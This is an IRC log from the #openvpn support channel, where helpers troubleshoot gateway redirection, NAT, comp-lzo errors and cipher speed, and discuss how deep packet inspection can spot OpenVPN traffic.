12:43 < EugeneKay> That's basically what static key is.
12:44 < tunage> yes
12:46 < tunage> this is what I work with http://prphotos.tm.agilent.com/2009/13may-em09093/
12:46 <@vpnHelper> Title: Agilent | Agilent N2X Multi-services Test Solution (at prphotos.tm.agilent.com)
12:46 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
12:47 < EugeneKay> As far as any inspections are concerned it's just a pile of garbage UDP packets
12:48 < tunage> yup yup. but every bit counts, and I am looking for the threshold for every part instpected.
12:51 < tunage> do they have any whitepapers on the subject? or even just a modules list of the key components?
12:51 < EugeneKay> I'm not familiar with any; feel free to dig around the openvpn site or just hang around until somebody knowledgable perks up
12:51 < EugeneKay> Also try the dev channel
12:53 < tunage> Thank you!
12:54 -!- tunage [~drummer@ool-18b86e27.dyn.optonline.net] has left #openvpn []
13:18 < Fohlen> I followed exactly this guide: http://thomas-leister.de/allgemein/openvpn-server-als-internet-gateway-unter-ubuntu-12-04/
13:18 <@vpnHelper> Title: OpenVPN Server als Internet-Gateway unter Ubuntu 12.04 | thomas-leister.de (at thomas-leister.de)
13:18 < Fohlen> vpn works fine, but I have no freakin access to internet
13:18 < Fohlen> the gateway-shit is buggy on debian6?
13:19 < Fohlen> anyone knows?
13:19 < EugeneKay> !blog
13:19 <@vpnHelper> "blog" is Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them.
13:19 < EugeneKay> !howto
13:19 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:19 < EugeneKay> !redirect
13:19 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:19 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:19 < EugeneKay> Follow ze chart ^
13:21 < Fohlen> !def1
13:21 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:21 < Fohlen> thanks anyway
13:21 < Fohlen> I try that
13:23 <+pekster> EugeneKay: Oh interesting, if some nasty DPI is using probable TLS timing against the protocol, a simple static key tunnel won't necessarily work, depending on how clever the DPI is
13:24  * EugeneKay tries to parse that
13:24 <+pekster> Things like intentional packet fragmentation _might_ help confuse such a setup, but at the cost of tunnel performance
13:24 < EugeneKay> You mean, the DPI will see the static key tunnel traffic as garbage and just drop it?
13:24 <+pekster> So, the nature of "timing correlation" attacks is that you don't need to know what the data is, but you look at the frequency and how many packets were sent in each direction, possibly loosly based on the packet size
13:24 < EugeneKay> Or it will note the timing of the packets looks like TLS
13:25 <+pekster> Yes, that
13:25 < EugeneKay> Gotcha
13:25 < EugeneKay> That's really not a security attack, just a lack-of-access
13:25 < EugeneKay> Eg, good for firewalls, bad for cracking the proto
13:26 <+pekster> It's a 'security related' attack -- you're just leveraging what is already publicly known (the packet headers and when they were went)
13:26 <+pekster> sent*
13:26 <+pekster> But yea, you'd use DPI with respect to a firewall, or Bluffdale
13:26 < EugeneKay> Right.
13:27 <+pekster> However, I'm guessing TLS tunneled over a static ptp will normally trick "most stuff" into allowing it if they're not _that_ advanced
13:27 <+pekster> Just figured I'd point out the really good stuff might not be fooled
13:27 -!- JRocha [~JRocha@200.189.189.47] has quit [Read error: Connection reset by peer]
13:27 < EugeneKay> That's the basis of the recommendation, yup.
13:27 <+pekster> mouse: meet cat.
13:27 -!- jrgcombr [~JRocha@200.189.189.47] has joined #openvpn
13:28 < EugeneKay> This is assuming the DPI firewall has a "allow if unknown" policy. If it can't figue out what the proto is, it may just drop it to be safe
13:28 < EugeneKay> A common behaviour in HTTPS-rewriting firewalls
13:32 -!- JAVACODER [~JAVACODER@2.190.33.191] has joined #openvpn
13:34 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
13:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:07 -!- goldkatze_ is now known as goldkatze
14:12 -!- JAVACODER [~JAVACODER@2.190.33.191] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
14:17 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
14:22 -!- user [~lover@forever.kitten.and.polarbear.and.lolcat.no] has quit [Changing host]
14:22 -!- user [~lover@unaffiliated/energy-/x-7653247] has joined #openvpn
14:26 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 245 seconds]
14:33 -!- zzattack [~zzattack@222-79-ftth.on.nl] has quit [Ping timeout: 240 seconds]
14:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
14:34 -!- zzattack [~zzattack@222-79-ftth.on.nl] has joined #openvpn
14:40 -!- s7r_l [~s7r@openvpn/user/s7r] has joined #openvpn
14:40 -!- mode/#openvpn [+v s7r_l] by ChanServ
14:40 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
14:41 -!- s7r_l is now known as s7r]
14:41 -!- s7r] is now known as s7r
14:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:47 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has joined #openvpn
15:12 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has quit [Ping timeout: 246 seconds]
15:13 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
15:32 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
15:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 240 seconds]
15:46 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
15:50 -!- JAVACODER [~JAVACODER@2.190.33.191] has joined #openvpn
15:51 -!- JAVACODER [~JAVACODER@2.190.33.191] has left #openvpn []
16:05 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
16:08 -!- phodamentals [~phodament@c-24-6-102-158.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
16:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:30 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
16:31 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:32 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:34 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
16:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
17:13 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
17:20 -!- kirin` [telex@gateway/shell/anapnea.net/x-pyrttrcwdaafhsbp] has quit [Ping timeout: 264 seconds]
17:21 -!- kirin` [telex@gateway/shell/anapnea.net/x-gofunhlztrfguxjb] has joined #openvpn
17:23 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
17:50 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
18:05 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-curypnuhksczxvwd] has quit [Quit: Bye]
18:06 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 246 seconds]
18:06 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
18:06 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has quit [Ping timeout: 240 seconds]
18:06 -!- dupondje [~dupondje@artemis.dupie.be] has quit [Ping timeout: 245 seconds]
18:07 -!- pcdummy [~pcdummy@mx1.page4me.ch] has joined #openvpn
18:07 -!- pcdummy [~pcdummy@mx1.page4me.ch] has quit [Changing host]
18:07 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has joined #openvpn
18:10 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has joined #openvpn
18:12 -!- dupondje [~dupondje@artemis.dupie.be] has joined #openvpn
18:13 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-filbrxxblfsymscc] has joined #openvpn
18:16 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has quit [Ping timeout: 245 seconds]
18:17 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
18:18 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
18:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:33 -!- alanjf [~ajf@unaffiliated/alanjf] has left #openvpn []
18:37 -!- abyss_ [~abyss@i-free.pl] has quit [Ping timeout: 245 seconds]
18:39 -!- abyss [~abyss@i-free.pl] has joined #openvpn
18:41 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has joined #openvpn
18:44 < Fohlen> EugeneKay, I got the gateway working finally. It was some error with comp-lzo and something more with iptables
18:44 < Fohlen> unfortanly it works now fine for all applications using tcp traffic
18:45 < Fohlen> but yeah ... udp applications still use the "real" / "default" connection
18:45 < Fohlen> you have any idea why this could be?
18:52 <+pekster> Fohlen: Split-tunnel setup?
18:52 <+pekster> (I didn't read the backlog, just guessing based on the terse description now)
18:52 < EugeneKay> I'm lost as well.
18:52 < EugeneKay> But hey, who cares!
18:52 < EugeneKay> !beer
18:52 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
18:52 <+pekster> "Guinness: It's not (just) for breakfast!"
18:53 < EugeneKay> I don't have any.
18:53 <+pekster> No soup^H^H^H^Hbreakfast for you!
18:54 < EugeneKay> S'okay, I slept until noon.
18:56 < Fohlen> ah lol
18:56 < Fohlen> its connecting to internal services with my "real" ip
18:56 < Fohlen> LOL
18:56 < Fohlen> but to external services it works fine
18:57 < Fohlen> you have any idea pekster?
18:57 < Fohlen> like, its working fine on other servers, but on my own one it shows my real ip
18:57 < Fohlen> lul
18:57 < EugeneKay> We have no idea what you're doing to begin with
18:57 < Fohlen> http://cloudlog.de/eigener-us-vpn-server-mit-openvpn-unter-debian-squeeze/
18:57 <@vpnHelper> Title: Eigener (US-)VPN-Server mit openVPN unter Debian Squeeze › cloudlog.de (at cloudlog.de)
18:57 < Fohlen> I did that
18:57 < Fohlen> and it worked fine
18:57 < Fohlen> I know you dont support blogs, but on debian6 not alot of stuff changes
18:57 < Fohlen> :D
18:58 < Fohlen> so this entry is still "recent"
18:58 < EugeneKay> I don't speak German either :v
18:58 < Fohlen> ah damn
18:58 < EugeneKay> In any case, it sounds like you're doing a standard redirect scenario
18:58 < Fohlen> well, the config is exactly the same
18:58 < EugeneKay> Connections to your VPN server's external IP will show up with your client's "real" IP; this is by design
18:58 < Fohlen> oh
18:58 < Fohlen> cant I disable that?
18:58 < EugeneKay> The traffic containing the vpn link can't go via the vpn link, so a special route is added to keep it from eating its own head
18:58 < Fohlen> ah hmmhmm :D
18:59 < Fohlen> now I get why
18:59 < Fohlen> ^^
18:59 < EugeneKay> There are various ways around this; the easiest is to get a second IP just for serving up vpn traffic
19:00 < Fohlen> way
19:00 < Fohlen> the problem is, upon the game(s) I play, anyone is trackable by name / ip-subnet
19:00  * Fohlen likes to deserve that, using his servers ip
19:00 < Fohlen> so any asshole can try pinging my server instead myself
19:00 < EugeneKay> This won't have any affect upon the outbound IP of the redirected traffic
19:01 < Fohlen> yeah yeah
19:01 < EugeneKay> Only on the IP address that your client's openvpn process connects to
19:02 < Fohlen> thx anyway
19:02 < Fohlen> thats the "issue" I'd have. I see, only getting access to another vpn will fix it *gruml*
19:02 < Fohlen> but yeah, it would only eat up its own head :D
19:04 <+pekster> You can do policy routing and send traffic only to the VPN port across your physical link
19:04 <+pekster> --redirect-gateway won't do that for you, but policy routing on the client can
19:07 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has quit [Ping timeout: 264 seconds]
19:07 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has joined #openvpn
19:10 -!- xyzpdq [joe@2600:3c01::f03c:91ff:feae:9e6f] has left #openvpn []
19:14 < Fohlen> guess there is no way to "fix" this?
19:15 < Fohlen> ah pekster, kk
19:15 < Fohlen> haven't read
19:27 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has joined #openvpn
19:28 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has quit [Client Quit]
20:27 -!- Volkswagner [~eric@32.138.115.95] has joined #openvpn
20:32 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has quit [Ping timeout: 240 seconds]
20:32 -!- klein [~klein@unaffiliated/klein] has quit [Quit: Leaving]
20:37 -!- Volkswagner [~eric@32.138.115.95] has quit [Read error: Connection reset by peer]
20:37 -!- Volkswagner [~eric@32.138.115.95] has joined #openvpn
20:39 < Volkswagner> greetings, I have openVPN server running on Netgear router with OpenWRT, plus client router using routed/tun connection
21:04 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:12 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 240 seconds]
21:14 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
22:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
22:19 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:23 -!- Volkswagner [~eric@32.138.115.95] has quit [Ping timeout: 240 seconds]
22:38 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 264 seconds]
22:48 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
22:48 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:50 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
23:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:44 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-filbrxxblfsymscc] has quit [Excess Flood]
23:46 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-zwvkmxlzgduilhvu] has joined #openvpn
--- Day changed Mon Aug 26 2013
00:25 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
00:27 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 264 seconds]
00:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:53 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:12 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:12 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:12 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:14 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:17 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-zwvkmxlzgduilhvu] has quit [Excess Flood]
01:18 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-eovdjqxwqiesazeg] has joined #openvpn
01:44 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:44 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
01:47 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 264 seconds]
01:50 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 260 seconds]
01:56 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
02:05 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
02:09 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
02:09 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
02:10 -!- krantz [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Ping timeout: 245 seconds]
02:11 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
02:11 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
02:14 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
02:35 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:36 -!- EugeneKay is now known as Eugene
03:02 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
03:03 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 276 seconds]
03:03 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
03:05 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
03:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
03:22 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:30 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
03:45 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
03:46 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
03:46 -!- mode/#openvpn [+v s7r] by ChanServ
03:46 -!- Bretos [~bretos@vps.tyborek.pl] has joined #openvpn
03:46 < Bretos> hey you all
03:48 < Bretos> have anyone run into such an error? http://pastebin.com/uajRgwp4
03:49 < Bretos> yes, I am using comp-lzo compression option
03:49 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has joined #openvpn
03:50 <+pekster> Bretos, that's not usually caused by comp-lzo (unless you've _mismached_ your settings between peers) but some application on your system that's generating IP packets not of version 4 or 6 (the only known/acceptable types to OpenVPN)
03:51 <+pekster> OpenVPN is unable to route packets for protocols it doesn't know about since there's no high-level association between a client and its "non-IPv4/6 identity" -- figure out what application on your client is doing that and stop it. IIRC there was some kernel feature that liked to spew that crap
03:52 <+pekster> AoE: http://www.docunext.com/blog/2013/02/ip-packet-with-unknown-ip-version-15-seen.html
03:52 <@vpnHelper> Title: IP packet with unknown IP version 15 seen (at www.docunext.com)
03:52 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-eovdjqxwqiesazeg] has quit [Excess Flood]
03:53 <+pekster> !learn version_15 as If you get "unknown IP version=15" in your logs, first check for mis-matched --comp-lzo settings. Then assume an app/kernel on your client is at fault by generating trash itself: http://www.docunext.com/blog/2013/02/ip-packet-with-unknown-ip-version-15-seen.html
03:53 <@vpnHelper> Joo got it.
03:54 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-crsptnzaqukhugsr] has joined #openvpn
03:54 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Quit: o_O_o]
03:54 < Bretos> pekster: huh, looks intresting
03:54 < Bretos> so you say there is some crap on my CLIENT?
03:54 < Eugene> That's v6 advertisements, innit?
03:54 <+pekster> Yes, your client is the one generating this filth
03:54 <+pekster> No!
03:54 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
03:54 < Bretos> that client was my Android smartphone :P
03:54 <+pekster> This is *non* IPv4/6 traffic
03:55 < Eugene> Hm. I'd read into it more, but it's easier to just ignore the log entries. :-p
03:55 <+pekster> Yes, it is. The fix is complicated and needs to happen (or be firewalled) at the client end
03:55 < Bretos> Eugene: that would be easier to ingore, if connection was working
03:55 < Eugene> I mean on /my/ env, where I'm seeing that.
03:55 < Eugene> Sorry to confuse
03:56 < Bretos> I am using offical openvpn android client, and it shows status "connected" but no traffic is working
03:56 < Bretos> currently I am trying to establish connection on normal PC
03:56 < Bretos> but I have some problems with tun device on my archlinux desktop
03:56 < Bretos> on which I am working right now
04:03 <+pekster> Eugene: Easy to spot the junk in a pcap filter like 'ip[0] & 0xf0 == 15' (or use two tests for != 4 and != 6 if you prefer)
04:03 < Eugene> That would require me to care about the problem. :-p
04:04 <+pekster> Oh, and you need to match on 0xE0 too :\
04:04 <+pekster> Not 15
04:24 <+pekster> !learn version_15 as http://www.toofishes.net/blog/openvpn-and-aoe-interaction/
04:24 <@vpnHelper> Joo got it.
04:30 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
04:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
04:38 -!- crus` [~crusader@2001:44b8:319e:2900:342d:c27:de51:18a6] has joined #openvpn
04:42 -!- crus [~crusader@2001:44b8:319e:2900:9490:c7ce:d47:f40f] has quit [Ping timeout: 260 seconds]
05:00 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:02 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Connection reset by peer]
05:04 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
05:08 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
05:11 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:14 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has quit [Remote host closed the connection]
05:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
05:19 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
05:22 < eval-> Can a client refuse to accept a "push" line? (like "redirect-gateway def1")  Or do I have to undo the route mess post-hoc?
05:23 <@plaisthos> eval-: have you looked at route-nopoll
05:23 <@plaisthos> (or similar)
05:24 < eval-> plaisthos: wonderful!  thanks!!
05:28 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
05:36 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has joined #openvpn
05:49 -!- master_of_master [~master_of@p4FD7BA3F.dip0.t-ipconnect.de] has joined #openvpn
05:50 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
05:52 -!- master_o1_master [~master_of@p4FF244D9.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
05:58 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
06:02 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
06:08 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
06:12 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
06:26 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:34 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 245 seconds]
06:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:42 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
06:44 -!- JSharpe [~JSharpe@37.220.15.234] has joined #openvpn
06:48 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
06:52 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 268 seconds]
06:52 -!- cerneula [~roberto@80.30.228.170] has joined #openvpn
06:53 < cerneula> hello
06:53 < cerneula> I'd like to ask a question if possible
06:57 < cerneula> if I establish a vpn between a computer in Iran and another in the EU, will/can the computer in Iran attract unwanted attention or does it go undetected and it's only seen at the other end? I hope the question is clear. Thank you very much
06:58 < cerneula> Also, I'm not a native English speaker
06:58 < cerneula> Thank you
07:02 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
07:03 -!- Devastator [~devas@186.214.110.147] has joined #openvpn
07:04 <+pekster> cerneula: Someone watching your network traffic can see OpenVPN is being used, but not the traffic you're sending across the VPN tunnel
07:05 <@plaisthos> or can only make guesses about the protocols used inside the VPN
07:07 < cerneula> pekster: ok, that is what I thought, but I really needed it to be confirmed. That is a problem, because just the fact that the traffic is encrypted is what brings the attention, isn't it?. Thank you very much
07:12 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
07:12 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
07:14 <+pekster> cerneula: Possibly, yes. OpenVPN can operate in 2 basic crypto modes: 1) "static key", where there is no authentication specifically and OpenVPN just sends lots of encrypted packets. In this mode it will be obvious to anyone watching that it's encrypted, but possibly not with OpenVPN necessarily if you're using an obscure port
07:14 <+pekster> 2) TLS mode, where OpenVPN will have a very definable handshake that gives away the traffic as both TLS and OpenVPN
07:15 <+pekster> Either way, yes, it will be apparent to anyone watching the traffic that encryption is being used. If you are in a country or location that takes action against people using encryption, this could be a problem
07:15 -!- cerneula [~roberto@80.30.228.170] has quit [Ping timeout: 240 seconds]
07:15  * pekster hates talking to himself
07:17 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
07:34 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:35 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
07:35 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
07:35 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
07:37 -!- Devastator [~devas@186.214.110.147] has quit [Changing host]
07:37 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
08:12 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
08:15 -!- Konigsberg7 [~mIRC@c-67-175-18-125.hsd1.il.comcast.net] has quit [Quit: 123asdf]
08:38 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
08:48 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
08:58 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has joined #openvpn
09:05 -!- brightblack [~mike@dhcp-130-58-197-180.swarthmore.edu] has quit [Ping timeout: 268 seconds]
09:07 -!- HaxCore [~p3rror@41.249.253.52] has joined #openvpn
09:08 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: No route to host]
09:23 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
09:27 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
09:41 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:46 < eval-> pekster: don't worry, these walls have ears :p  so how easy is it to watch lzo (not encrypted) data on the fly with packet sniffers?  are there plugins for this, or will the watcher have to say, care
09:48 <+pekster> No idea (I haven't looked) but any IDS/DPI woth its money will, count on your (un)friendly gov't being able to, and any bright 2nd year compSci/networking student can probably write one in their preferred language
09:48 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 245 seconds]
09:57 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:58 < eval-> Hmm I just looked at some comp-lzo packets and they're pretty obvious.  So it boils down to whether the host is just happy the traffice doesn't appear to originate from their network.  what is the weakest (well, fastest) cipher that can be included at build (for an embedded system)
09:59 <+pekster> Depends on the system. Low-end stuff (lacking hardware aes-ni) probably wins with blowfish with a 128-bit key for speed; use AES if you have aes-ni hardware
09:59 -!- master_of_master [~master_of@p4FD7BA3F.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
09:59 < rob0> There's good reasons for blowfish as the default.
09:59 <+pekster> See `openssl speed` to perform benchmarks
10:00 < rob0> uh, there ARE
10:00 < eval-> Yes, blowfish is fastest on my system
10:00 < eval-> But still easily eats 40-50% cpu under load
10:01 <+pekster> What do you expect from embedded hardware?
10:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:01 <+pekster> If you want something faster, go invest in some atom or arm processor with aes-ni hw crypto
10:01 < eval-> To be fair, it's up to ~25% with cipher-none
10:02 < eval-> I don't really have a choice about the box and I need to bridge faraway networks
10:02 < eval-> But it's probably ok if it's all sniffable
